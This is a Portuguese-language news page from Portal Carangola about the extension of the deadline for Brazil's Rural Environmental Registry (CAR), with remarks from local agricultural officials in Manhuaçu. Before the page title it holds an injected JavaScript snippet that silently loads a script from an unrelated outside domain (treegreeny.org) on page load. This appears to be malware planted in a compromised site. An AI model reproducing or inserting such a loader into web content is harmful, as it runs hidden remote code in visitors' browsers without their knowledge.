;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Câmara Federal prorroga o prazo para cadastramento ambiental rural. - Portal Carangola

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Câmara Federal prorroga o prazo para cadastramento ambiental rural.

O prazo para inscrição de imóveis rurais no Cadastro Ambiental Rural (CAR), que terminava em 5 de maio, foi prorrogado. Com isso os proprietários rurais ganharam mais uma chance para a regularização. O novo prazo é o dia 31 de dezembro de 2017.

O Ministério do Meio Ambiente já estudava a aplicação de multas, mas uma medida provisória, aprovada pela Câmara dos Deputados na última semana permitiu a prorrogação.

O registro eletrônico obrigatório dos imóveis rurais serve como base de dados para que o governo monitore e controle o desmatamento das florestas. Além disso, o registro no CAR é importante para acesso a crédito agrícola e subsídios do governo pelos proprietários rurais.

O cadastro rural só pode ser feito pelo computador. O produtor entra na página do CAR na internet e baixa o programa. Em seguida, deve preencher os dados pessoais e da propriedade. O próprio sistema fornece as imagens de satélite do imóvel rural.

A extensionista Sirlei Sanfelice, do escritório da EMATER, que atua em parceria com o Governo de Manhuaçu, por meio da Secretaria de Agricultura, disse que o órgão permanece auxiliando os proprietários rurais no cadastramento.

Segundo Sirlei Sanfelice, a prorrogação só é válida para propriedades até quadro módulos fiscais. Para as maiores, acima de quatro módulos fiscais que correspondem a 96 hectares de terra (Cada módulo fiscal corresponde a 24 hectares), o prazo terminou.

Em Manhuaçu, segundo o secretário de Agricultura, Sandro Tavares, as pequenas propriedades rurais são a maioria. “Os pequenos produtores, para estarem legalizados devem fazer esse cadastro. Os produtores que não possuírem as áreas previstas em lei para a reserva legal e preservação permanente, entrarão no programa de readequação ambiental – PRA – e terão um prazo de 20 anos para regularizar a situação” – destacou Sirlei Sanfelice.

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Secretaria de Comunicação Social de Manhuaçu

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